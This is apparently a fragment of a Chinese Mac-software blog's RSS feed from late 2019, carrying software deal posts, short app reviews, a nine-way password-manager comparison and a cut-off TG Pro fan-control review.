    4K蓝光影片的的画面信息内容是1080的4倍,影片细节更加丰富和生动。伴随4K蓝光影片的HDR(高动态范围成像)可以使呈现的色彩更加生动,最亮和最暗画面的对比度更加分明,画面中的物体也更加真实,画面颜色过渡更加自然,带给用户视觉上的冲击也更大。HDR的标准有HDR10和杜比视界,仅这两个概念又能讲上一整集,在这里就不赘述了,直接上对比图。

    + +

    电影要怎么样才能算高清插图(13)

    + +

    电影要怎么样才能算高清插图(14)

    + +

    4K蓝光影片的头号劲敌就是诸如Netflix之类的流媒体,后者也推出了很多4K内容,观看起来也更加方便。不过跟1080P一样,流媒体中的4K码率比4K蓝光碟的码率要低不少。所以,流媒体或者4K蓝光原盘,就看自己的选择了。

    + +

    写在最后

    + +

    文章到这里,已经讲了很多晦涩难懂的概念,希望大家还能撑到这里。为了讲明白这些东西,查了很多很多的资料和视频,希望我的这些功夫都没有白费,如果恰好还能帮助到大家,我也就知足了。

    + +
    + +

    本文转载自微信公众号「iTecMovie」,文章原文

    +

    本文发表自Mac玩儿法,转载请注明转自《电影要怎么样才能算高清

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/whats-the-standard-of-hd-movie/feed + 0 +
    + + Unclutter PowerPack 新年软件套装 + https://www.waerfa.com/unclutter-powerpack-review + https://www.waerfa.com/unclutter-powerpack-review#respond + Fri, 03 Jan 2020 03:40:51 +0000 + + + + + https://www.waerfa.com/?p=106477 + + Unclutter PowerPack 新年软件套装插图

    + +

    由 Unclutter 牵头组织的 PowerPack 新年软件套装共由 11 款好软组成,这 11 款软件的原价合计高达 $311,而 bundle 价格仅为 $64,节省足足 $247。

    + +

    这 11 款软件包括:Aeon Timeline 2、Tumult Hype 4、Unclutter、TaskPaper 3、Better Zip 4、Sip、Permute 3、Path Finder 9、Mosaic Pro、Default Folder X、HyperFocus

    + +

    购买 PowerPack 新年套装

    + +

    详细了解部分软件评测可参考我站文章:

    + +
    Unclutter PowerPack 新年软件套装插图(1)
    Unclutter PowerPack 新年软件套装插图(2)

    Unclutter

    给Mac添加个iOS式下拉菜单

    + +
    Unclutter PowerPack 新年软件套装插图(3)
    Unclutter PowerPack 新年软件套装插图(4)

    Taskpaper 3

    宅男专用 GTD 工具

    + + + +
    Unclutter PowerPack 新年软件套装插图(7)
    Unclutter PowerPack 新年软件套装插图(8)

    Sip 2

    将屏幕取色做到极致

    + +
    Unclutter PowerPack 新年软件套装插图(9)
    Unclutter PowerPack 新年软件套装插图(10)

    Permute 3 Beta 体验

    更加精致,更加体贴

    + +
    Unclutter PowerPack 新年软件套装插图(11)
    Unclutter PowerPack 新年软件套装插图(12)

    Mosaic

    将窗口管理创造到新高度

    + +
    Unclutter PowerPack 新年软件套装插图(13)
    Unclutter PowerPack 新年软件套装插图(14)

    Default Folder X 5

    玩转打开/保存窗口,提高文件操作效率

    +

    本文发表自Mac玩儿法,转载请注明转自《Unclutter PowerPack 新年软件套装

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/unclutter-powerpack-review/feed + 0 +
    + + ShowyEdge:macOS 上特醒目的输入法语音指示器 + https://www.waerfa.com/showyedge-review + https://www.waerfa.com/showyedge-review#respond + Fri, 03 Jan 2020 02:43:32 +0000 + + + + + https://www.waerfa.com/?p=106472 + + ShowyEdge 是一款很有意思的输入法指示器软件,它可以为 macOS 输入法对应不同国家的语言设置醒目的颜色指示器(三色彩带),在 ShowyEdge 设置面板里,你可以在切到到某一个输入法之后,比如意大利语,就可以在里面为这个输入法设置意大利国旗🇮🇹的三种颜色作为面板标识,同时这个颜色面板默认是覆盖在 menubar 上,调整行高即可改变色彩的高度,设置为 1px 完全覆盖到整个 menubar。

    + +

    ShowyEdge:macOS 上特醒目的输入法语音指示器插图

    + +

    ShowyEdge:macOS 上特醒目的输入法语音指示器插图(1)

    + +

    Advanced 设置里可以设置彩带的颜色饱和度,不过是不能 100% 覆盖 menubar 的,另外还可以选择设置菜单是竖向还是横向,比如说许多西方国家的国旗都是三色旗,而且不是横向布局就是竖向布局,在 ShowyEdge 设置后当你切换不同国家语言输入法时通过 ShowyEdge 的彩带可以很容易的识别出当前的输入法。

    + +

    ShowyEdge:macOS 上特醒目的输入法语音指示器插图(2)

    + +

    另外还有更个性的选择,勾选“Use custom frame”即可再屏幕左上角显示国旗样式的彩带,将尺寸、位置调整好即可,非常的炫酷吧!

    +

    本文发表自Mac玩儿法,转载请注明转自《ShowyEdge:macOS 上特醒目的输入法语音指示器

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/showyedge-review/feed + 0 +
    + + Hidden Bar:“免费版Bartender”够用就行 + https://www.waerfa.com/hidden-bar-review + https://www.waerfa.com/hidden-bar-review#respond + Sat, 28 Dec 2019 00:23:13 +0000 + + + + + + https://www.waerfa.com/?p=106468 + + Hidden Bar 是一款类似 Bartender 的 macOS 菜单栏应用图标隐藏软件,按住 ⌘  同时拖动软件 icon 到 Hidden Bar 的竖条 “|” 左侧,默认情况下这些软件 icon 就会隐藏起来,放在竖条 “|” 右侧和箭头的中间,会将软件 icon 排除在隐藏菜单里,点击箭头按钮即可进行“隐藏、显示”的动作。

    + +

    Hidden Bar:“免费版Bartender”够用就行插图

    + +

    软件可以设置全局热键以及一定时间后自动隐藏软件 icon 的设定。竖条 “|” 本身也是可以移动的,方便快速定义需要隐藏的软件 icons。

    + +

    Hidden Bar:“免费版Bartender”够用就行插图(1)

    + +

    看看动图演示咯,这款软件最大的优势就是和 Bartender 相比完全免费,而且不像后者那样需要申请 macOS 更多的系统权限,比如 Bartender 需要用户允许他使用 Mac 的屏幕录制权限,这个就是让人感到疑惑的地方。

    +

    本文发表自Mac玩儿法,转载请注明转自《Hidden Bar:“免费版Bartender”够用就行

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/hidden-bar-review/feed + 0 +
    + + StackSocial 圣诞节全站商品 85 折! + https://www.waerfa.com/stacksocial-cyber-sale-2019 + https://www.waerfa.com/stacksocial-cyber-sale-2019#respond + Thu, 26 Dec 2019 07:53:17 +0000 + + + + + https://www.waerfa.com/?p=106355 + + StackSocial 今年的黑五/Cyber Monday 的优惠力度非常大,十三罗汉软件包的畅销以及低至 4 折的站内优惠商品让它再次回到大家的视野之中,在圣诞节来临后,这家在线促销网站再次带来了整站商品全线 85 折的优惠活动,购买任意一款商品输入优惠码 HAPPYHOLIDAYS 即可获取 85 折价格。

    + +

    StackSocial 这家老牌媒体专注于互联网服务、Mac/Win 软件、各类开发设计教程以及数码产品的销售多年。

    + +

    目前站内的优惠软件包括:iMazing、Rocket Typist、PDF SearchBitport、TripMode 等等知名好软。

    + +

    戳 StackSocial 官网

    + +

    StackSocial 圣诞节全站商品 85 折!插图

    + +
    + +

    好长时间不关注 StackSocial 了,昨天看到了十三罗汉 Mac 软件包后推荐给同学们,后面发现 StackSocial 竟然全站都在做活动,全部商品结账时使用优惠码 CMSAVE20 即可再降 20%(个别商品不参加优惠码这个咱没辙),app+软件类产品使用优惠码 CMSAVE40 再降 40%,在线课程类商品使用优惠码 CMSAVE60 再降 60%。

    + +

    iMazing 2 Mac & Win 通用 license 「直达

    + +

    $14.99 – $9「输入优惠码 CMSAVE40」

    + +

    PopChar X 「直达

    + +

    $17.99 – $10.8「输入优惠码 CMSAVE40」

    + +

    TripMode 2「直达

    + +

    $3.99 – $2.4「输入优惠码 CMSAVE40」

    + +

    KeyCue 9「直达

    + +

    $11.99 – $7.2「输入优惠码 CMSAVE40」

    + +

    SideNotes「直达

    + +

    $7.99 – $4.8「输入优惠码 CMSAVE40」

    + +

    更多优惠信息:

    + + +

    本文发表自Mac玩儿法,转载请注明转自《StackSocial 圣诞节全站商品 85 折!

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/stacksocial-cyber-sale-2019/feed + 0 +
    + + BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软! + https://www.waerfa.com/bundlehunt-for-macos-catalina + https://www.waerfa.com/bundlehunt-for-macos-catalina#comments + Thu, 26 Dec 2019 07:32:19 +0000 + + + + + https://www.waerfa.com/?p=106247 + + 自今年黑五开始,BundleHunt 做的 macOS Catalina bundle 里的部分软件都是有限发售的,licenses 卖完了则退出 bundle,目前仍有 42 款,而且这款 bundle 的起售价已经由 1 美元升到 5 美元了,本次活动还有 2 个小时的时间就将结束了,这次 BundleHunt 的 bundle 跨度时间好长,从黑五一直到圣诞节。

    + +

    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图

    + +

    这次招纳的软件均支持 macOS Catalina,有许多我们特别熟悉的好软件,也有比较陌生的,除了一款游戏卖 10 刀以外,其他软件价格均在 1 刀至 5 刀的范围内。

    + +

    购买 BundleHunt Catalina 特辑软件包

    + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(1)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(2)

    TextSoap

    “玩弄”文本的高手

    + + + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(5)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(6)

    Dropshare for Mac 4

    让文件共享能力更强大

    + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(7)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(8)

    Name Mangler

    支持自定义脚本的批量重命名软件

    + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(9)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(10)

    Permute 3 Beta 体验

    更加精致,更加体贴

    + + + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(13)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(14)

    CloudMounter

    网络云盘本地加载工具「加入数据加密功能」

    + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(15)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(16)

    One Switch

    一个集合一键切换系统各项功能的神奇菜单「特惠价格仅需 39 元」

    + + + + + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(21)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(22)

    ActiveDock

    专门为 macOS 设计的增强型 Dock

    + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(23)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(24)

    PullTube

    轻松下载 YouTube 视频

    + + + +
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(27)
    BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!插图(28)

    MacBooster

    我是系统优化清理圈里的经济适用男

    + + + + + + + + + + + + + + + + + + + + + +

    购买 BundleHunt Catalina 特辑软件包

    +

    本文发表自Mac玩儿法,转载请注明转自《BundleHunt :最后2小时,活动即将结束。5刀解锁 42 款好软!

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/bundlehunt-for-macos-catalina/feed + 1 +
    + + 跨年双“蛋”优惠:25+软件6折起 + https://www.waerfa.com/lizhi-cross-year-on-sale + https://www.waerfa.com/lizhi-cross-year-on-sale#respond + Tue, 24 Dec 2019 17:30:12 +0000 + + + + https://www.waerfa.com/?p=106415 + + 跨年双“蛋”优惠:25+软件6折起插图

    + +

    我们的老朋友数码荔枝在 2019 年余额已不足7天的时候推出了今年最后一次优惠活动:双「蛋」惊喜促销,这次有 25 款以上软件参与了折扣力度低到 5 折及以上的优惠活动,其他部分软件也出现了小幅度的优惠。本次活动时间是从 2019年得 12 月 24 日到 2020 年的 01 月 03 日,一共持续 11 天。

    + +

    比较有代表性的软件包括:

    + +

    Mac 平台

    + +

    PDF Expert「5折,85元起」

    + +

    MacBooster「5折,50元起」

    + +

    Downie「7折,55元起」

    + +

    Parallels Desktop 15「购买赠送 Windows 10 与 Office 家庭版或学生版」

    + +

    NTFS 助手「35元」

    + +

    Permute「7折,48元起」

    + +

    落格输入法「7折,41元」

    + +

    MWeb「5折,59元起」

    + +

    DaisyDisk「6折、41元起」

    + +

    Folx Pro 5「7折,69元起」

    + +

    双平台

    + +

    iMazing「46折,69元起」

    + +

    AdGuard「7折,50元起」

    + +

    为知笔记「9折、53元起」

    + +

    Apowersoft 系列「视频编辑王/视频转换王/录音精灵

    + +

    Office 2019 家庭和学生版

    + +

    RescueTime「7折、90元起」

    + +

    iRingg「6折,41元起」

    + +

    WALTR 2「6折、59元起」

    + +

    PhotoBulk「7折,59元起」

    + +

    WPS超级会员卡「付费类型全部8折」

    + +

    Win 平台

    + +

    Listary「7折,45元」

    + +

    XYplorer「6折,119元起」

    + +

    IDM「49元起」

    + +

    Directory Opus「8折」

    + +

    Folder Colorizer 2「6折,23元起」

    + +

    Seer「6折,41元起」

    + +

    Quicker「6折,57元起」

    + +

    cFosSpeed「39元」

    + +

    相关评测请自行在站内搜索,我站就不再本文放出link。

    +

    本文发表自Mac玩儿法,转载请注明转自《跨年双“蛋”优惠:25+软件6折起

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/lizhi-cross-year-on-sale/feed + 0 +
    + + 2019 我们找来这九款 macOS 密码管理软件做一次横评 + https://www.waerfa.com/9-mac-password-manager-for-macos-cross-criticism + https://www.waerfa.com/9-mac-password-manager-for-macos-cross-criticism#comments + Sun, 22 Dec 2019 17:34:19 +0000 + + + + + + https://www.waerfa.com/?p=106396 + + 2019 我们找来这九款 macOS 密码管理软件做一次横评插图

    + +

    本月,Surge 开发者的新作,密码管理软件 Elpass 上架销售了,一时间再次激起了密码管理软件这个话题,早在 2014 年我们曾做过一个专题,介绍了当时以 1Password、LastPass 为代表的密码管理软件代表产品,5 年过后英雄不在(前面二位现在做的真的很烂),谁能再次扛起密码管理界的大旗呢?我倒是对某些软件颇为期待。

    + +

    这次我们找来这九款 macOS 密码管理软件做一次横评,分别是:

    + + + +

    当今的密码管理软件基本上都围绕:密码的,自动保存、自动填充,自动登录,密码同步,安全性检测这些功能,本次我们就围绕这些核心功能再次进行横评。

    + +

    密码生成

    + +

    9 款密码管理软件基本上密码生成功能差不多,都具备非常实用的复杂密码一键生成功能,比如可以选择密码的字符数量,有的最多能达到 128 个。用户可选择密码中是否为可发言的单词或单词组密码,是否包括大小写、分隔字符、是否包括数字,特殊字符等等。

    + +

    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(1)

    + +

    密码自动填充 & 自动推送 & 自动更新 & 自动登录

    + +

    密码的自动填充 & 自动推送 & 自动更新 & 自动登录这四个功能,我个人认为是一款密码管理软件最最最基础,最能体现使用体验的核心功能了,有些软件真的是没把这个主业做好,弄一堆花里胡哨的东西去让用户掏钱真的是不应该。首先,大家需要明白的一点是:

    + +

    密码的,自动填充(也叫一键填充)和,自动推送,这两个不能混淆,一个是需要我们手动点击一下才能填写完整账号信息,一个是由密码管理app本身或其浏览器插件为我们在浏览器里填写好信息。

    + +

    所有的 iOS app 都无法做到自动保存用户的账号、登录信息,Chrome 可以自动登录,Safari 只可以做自动填充。

    + +
      +
    • Dashlane 可以实现自动填充与自动登录,但是无法自动填写网页生成的验证码
    • +
    • BitWarden 可以实现一键填充,但没有自动推送填写,甚至连我输入的新的账户信息它都不能实现推送我是否保存真是废柴。
    • +
    • Secrets 的自动填充也很废柴,一键自动填充竟然需要用浏览器插件跳转回软件本身进行填充,但是支持直接登录这一动作,更别提自动推送填写、自动更新密码,自动登录了
    • +
    • RememBear 支持一键填充,但没有自动推送填写、支持自动更新密码,自动登录
    • +
    • EnPass 是 1Password、Elpass 的有力竞争者,支持一键填充,但没有自动推送填写、支持自动更新密码,自动登录
    • +
    • 1Password 支持一键填充,但没有自动推送填写,支持自动更新密码,自动登录,但没有自动推送填写功能是让人觉得遗憾的地方,其实也不是什么高科技的东西,作为行业翘楚,这个需要尽快改进啊。而且就算是自动提示用户保存新密码这么一个简单的基础的功能,我在 Safari 上通过他的插件反复测试竟然没有一次弹出来提示的,真的是太不应该了啊。
    • +
    • LastPass 现在真的也是懒得提他,原来做的挺好的,现在光顾着企业级客户,家庭个人客户产品看起来就是渣渣,太难用了,可以一键填充,没有自动推送填写,一键填充最可笑的还得从 Safari 插件上跳转回到主应用再回来网页的账号输入区域完成输入,另外没有自动更新密码、自动登录功能。
    • +
    • RoboForm 自动提示保存密码,还能选择所在目录,这个比较贴心,支持一键填充,自动登录,但没有自动推送填写
    • +
    • Elpass 的自动填充提示保存密码,自动推送填写的效率,反应速度是最快最稳定的,但新的账号信息登录后并不能自动推送保存密码的窗口,或者个别网站的密码更改它不会自动提示用户是否修改,这一点甚至不如 Safari 自带的密码管理功能好用稳定。
    • +
    + +

    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(2)

    + +

    本地应用(第三方应用)密码填充

    + +

    对于 iOS 移动端来说这很easy,但是在 macOS 仅有 Elpass 能做到。Elpass 最早需要用户自己用脚本语言获取本地应用的 url,填写到 native app login 里后可以完成第三方应用及苹果自家软件的账号信息自动填充,后期开发者改进了这一功能,用户可直接在编辑 login item 时直接打开 Finder link 到这个 app,现在使用 Elpass 我们可以快速自动填充 Mac 上的 Mac App Store 的苹果账号,QQ 等等诸多软件的账号信息,这一点 Elpass 能做到很不错。

    + +

    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(3)

    + +

    密码同步

    + +

    9款软件通过 iCloud、Dropbox 同步比较多:

    + +
      +
    • Dashlane 使用自己的云同步
    • +
    • BitWarden 使用自己的云同步
    • +
    • Secrets 使用 iCloud 同步
    • +
    • RememBear 使用 自己的云同步
    • +
    • 1Password 支持 iCloud、Dropbox、本地目录进行同步,但也有自己的数据同步机制
    • +
    • LastPass 使用 自己的云同步
    • +
    • RoboForm 使用 自己的云同步
    • +
    • Elpass 支持通过 iCloud、Dropbox 同步
    • +
    • Enpass 支持通过 iCloud 同步
    • +
    + +

    两步验证填充 OTP

    + +
      +
    • Dashlane 没有
    • +
    • BitWarden 免费版人肉手工添加,高级版可以生产 OTP
    • +
    • RememBear 人肉手工添加,支持扫描二维码
    • +
    • EnPass 支持自动 copy OTP
    • +
    • 1Password 支持自动 copy OTP
    • +
    • LastPass 支持网页生成代码形式的 OTP
    • +
    • RoboForm 没有
    • +
    • Elpass 在创建密码项时设置 OTP,可以用 code,url 或者二维码图片添加二次验证
    • +
    + +

    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(4)

    + +

    Menubar 助手

    + +

    这次参加评测的软件基本都有 Menubar 助手,EnPass/1Password/RoboForm 提供的 Menubar 助手非常的完善,基本上相当于一个袖珍版的主体程序,用户可以在里面完成各种操作。

    + +

    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(5)

    + +

    而 Dashlane、BitWarden、Secrets、LastPass、Elpass 的 Menubar 助手设计的都很简单,希望后期改进一下;而 RememBear 竟然都没有提供这个东西。

    + +

    项目种类

    + +

    各有各的风格,除了密码这个最基础的保存项,各大软件还为用户提供了其他信息的保存,比如银行卡,软件license,会员信息、无线路由器账号、驾照信息、电子邮件账号等等信息,从这一点来说,1Password、Enpass 做的比价好。

    + +

    密码安全性检测

    + +

    密码的安全性检测已经被越来越多的密码管理软件开发者重视,虽然有密码生成功能,但拿我自己举例,我并不喜欢用,原因就是大部分人都喜欢用某一个或某几个熟悉的密码去注册 N 多个账号,所以在密码管理软件里为用户提示某些密码已经被过度重复使用,建议用户及时修改密码是非常有必要的。

    + +

    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(6)

    + +

    1Password 做的最好,可以用一枝独秀来比喻,他家那个名为“瞭望塔”的功能可以告知用户哪些账号的密码已经被泄露、哪些易受攻击、哪些是重复使用,哪些是弱密码,哪些账号所在的网站当前状态不安全,哪些需要双重验证等等等。

    + +

    其他软件,像:

    + +
      +
    • Dashlane 会告诉用户哪些密码存在安全风险,哪些是重复使用,哪些安全程度低

    • +
    • BitWarden 高级版提供密码健康、账户体检以及数据泄露报告

    • +
    • EnPass 提供了一个很简单的密码安全性筛选功能,可以在左侧工具栏看到筛选结果

    • +
    • RoboForm 提供了一套比较正规的检测系统,和 Dashlane 有点儿类似

    • +
    + +

    而 RememBear 、LastPass、Elpass 都还没有提供这种密码检测服务。

    + +

    界面对比

    + +

    按照颜值来排名,我个人心目中的排名:

    + +
      +
    • 1Password
    • +
    • Elpass
    • +
    • EnPass
    • +
    • RememBear
    • +
    • Dashlane
    • +
    • BitWarden
    • +
    • Secrets
    • +
    • RoboForm
    • +
    • LastPass
    • +
    + +

    这些密码管理软件大部分支持随系统切换 darkmode,不支持的有:LastPass、Dashlane、BitWarden

    + +
    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(7)
    在界面设计上,除了 1Password 一贯的精良设计外,RememBear 的动画交互动作做的也是非常精彩,随着使用深入,你会在 autologin、账号登录等界面看到不少这只大狗熊的身影。
    + +

    价格对比

    + +

    9 款软件都有试用版,付费版分“按月/年/多年订阅”和“一次性买断”的两种方式:

    + +
      +
    • Dashlane:免费试用版,最多存储 50 个密码,付费版则是年付,折合每月 3.33 刀,支持不限量密码存储以及云同步
    • +
    • BitWarden:$10/年,价格在付费版里算是最便宜的了
    • +
    • Secrets:$19.99 一次性买断,可以享受不限数量的密码存储管理,费用与 iOS 版隔离
    • +
    • RememBear:高级版每月 $3,主要是享受不限数量的密码存跨平台密码同步、备份还原等服务,还有一点比较有意思的是 RememBear 高级版可以通过做任务的形式获取最多 6 刀的折扣价格。
    • +
    • Enpass:应该是除了 KeePass 这种免费的密码管理软件外最厚道的付费产品了,免费版的桌面端软件不受任何功能限制,只有手机端app最多可保存 25 个密码,且不具备多平台同步服务,按年付费 $11.99 或 半年 $7.49 可以解锁这些限制,$49.99 则可以一次性买断
    • +
    • 1Password 免费版就是个废柴,只能看看,啥也用不了,订阅版按月支付 $3.99,按年支付 $35.99
    • +
    • LastPass:个人级产品提供免费试用版,不过仅支持一台设备,密码存储数量限制没有详细说明,付费版每月 $3,支持在线备份还原,家庭版每月 $4,支持 6 台设备
    • +
    • RoboForm:1 年订阅 $16.68,3 年是 $45.14,5 年是 $69.60,订阅后可在 Mac、Win、Android、iOS 随意使用并同步密码数据,这一点比较厚道。
    • +
    • Elpass:每年 $19.99 订阅费,可打通在 Mac 与 iOS 两个客户端之间的使用权并且享受数据同步权限。
    • +
    + +
    2019 我们找来这九款 macOS 密码管理软件做一次横评插图(8)
    RememBear 针对付费版做的引导模式,完成界面里提及的任务即可在购买付费版时获赠 6 美元赠款,这个设计还是很可爱的,聪明的
    + +

    总结

    + +

    总的看来,从上面 10 个方面综合来看,我个人认为目前最好的密码管理软件应该算是 Elpass,此外 Enpass、RememBear,甚至是这次横评没有提及的 KeePass 开源免费系的密码管理工具也值得尝试,从价格上来讲高低:RememBear > Elpass > Enpass,而考虑功能实用性来说,Elpass > Enpass > RememBear,所以 Elpass 无论从价格还是功能来说综合考虑,都是最合适的。

    +

    本文发表自Mac玩儿法,转载请注明转自《2019 我们找来这九款 macOS 密码管理软件做一次横评

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/9-mac-password-manager-for-macos-cross-criticism/feed + 20 +
    + + TG Pro:Mac 风扇控制管家「年底官网5折促销中」 + https://www.waerfa.com/tg-pro-review + https://www.waerfa.com/tg-pro-review#respond + Wed, 18 Dec 2019 13:50:31 +0000 + + + + + + https://www.waerfa.com/?p=105052 + + 相信刚刚接触 Mac 的朋友对设备的静音性和风扇工作原理都比较关注,其实风扇这个东西说白了就是给电脑内部元件降温的,电子设备的风扇降温机制要比汽车的简单许多,大多数情况下我们都无需调整风扇,但如果你经常需要做一些挑战Mac 自身性能的工作任务,比如复杂的设计、编程、渲染立体模型等场景,都需要快速调用风扇来给设备降温,这里我们推荐这个领域的孤独守护者:TG Pro。

    + +

    目前 TG Pro 官网年终/圣诞节促销中,license 仅需 70 元人民币

    + +

    TG Pro 全名 Temperature Gauge Pro,很说明书的感觉,这款软件以设备温度、风扇转速、故障诊断调节而闻名,某国外媒体给过的一个令人印象颇深的评价是:This is the Rolls Royce of fan control and temp monitoring apps,由此可见其历史地位。

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图

    + +

    TG Pro 有一个巨大的 Menubar 下拉菜单,里面可以显示 Mac 上从 CPU、显卡 CPU 再到电池、硬盘等各个设备的内部、表面温度,也可以选择设置风扇是按照系统默认自动运行还是手动控制或是自定义风扇触发规则(Auto Boost),这个功能应该是 TG 的看家本领了。

    + +

    TG 的本体窗口把 Menubar 所有未显示的功能选项扩展完整,能够监控设备实时的平均温度和 CPU 平均温度。在诊断列可以看到设备的健康情况,比如最近一次关机状态、风扇工况、温度传感器工况以及电池寿命。

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(1)

    + +

    以风扇状态监控列来看,当转速监控条显示绿色时,风扇转速不会超过 74% 这个区间顶点,橘色则代表转速已经攀升到 75%-89% 这个范围了,此时你也不需要太过担心设备,短时间内系统进行大型运算时无妨,而如果超过了 90%,进度条变为红色则说明风扇已经达到性能顶端了,就和高转速下的发动机活塞运动一样,此时你的 Mac 正在全力冲刺完成工作任务。

    + +

    TG 风扇控制功能里的精髓是 Auto Boost Rule,你可以在插入充电器下或者电池独立运行状态下设定单个或组合式的风扇触发规则,你可以选择当某一个或多个电子元件温度超过一定阈值时自动触发“左风扇 or 右风扇运行” or “双风扇同时运行”到一定“转速区间”:

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(2)

    + +

    同时也设定自动触发风扇工作的渐进工作时间,最短 5 秒、最长 1 分钟。后面我们再详细介绍一下图里的 Override System。

    + +

    在设备温度监控列,我们同样可以看到三种颜色的温度进度条,绿色代表元件温度在 0 到 89 摄氏度,橘色代表元件温度在 90-99 摄氏度之间,这个温度值代表元件已经趋近于发热极限拉。而到了红色,元件温度早已经超过 100 摄氏度,其中 CPU 还是这里面最抗热的,它的极限温度应该在 95-105 摄氏度,此温度会让 CPU 自动触发保护机制,自动降频出来了。

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(3)

    + +

    当设备温度到达设定值时(下图 Trigger When 里面有设定任何传感器或者 CPU 超过温度阈值),TG 会通过通知中心、邮件形式通知用户,并且可选择是否触发 Auto Boost。

    + +
    +
    + +TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(4) + +
    +
    + +
    +
    +

    2018 MacBookPro 和 iMac Pro 怎样使用 TG Pro?

    +
    +
    + +

    由于 2018 MacBookPro 和 iMac Pro 上的 SMC 被集成到了 T2 芯片里,加上苹果为了向噪音减少这个需求去设计硬件,风扇触发条件被延后,只有元件温度非常高的时候才会触发风扇工作,这也是大家发现的 2018 Mac 降频门的原因。

    + +

    TG Pro 不能像在老款设备里一样部署 “Manual”或“Auto Boost” 模式,只能让风扇开到最大转速,这两个模式在上述设备上改名为 Max 和 Auto Max。

    + +

    比如当切换到 Max 模式时,TG Pro 将自动将所有风扇开到最大转速以此来确保 Mac 的冷却工作。

    + +

     

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(5)

    + +

    选择 Auto Max 则是在原有 Auto Boost 规则设定时用户选择风扇的转速只可以是 100% 全力运转,而唯一可以自己调整的则是元件的温度值。

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(6)

    + +

    除了 Max 和 Auto Max 你还可以激活 Override System 这个控制逻辑模块,开启这个模块就相当于把 Mac 的风扇降温工作完全交给 TG,放弃设备本身的逻辑程序,Max 变为之前的 Manual 手动可调模式,同理 Auto Max 变为之前的 Auto Boost。

    + +

    TG Pro:Mac 风扇控制管家「年底官网5折促销中」插图(7)

    + +

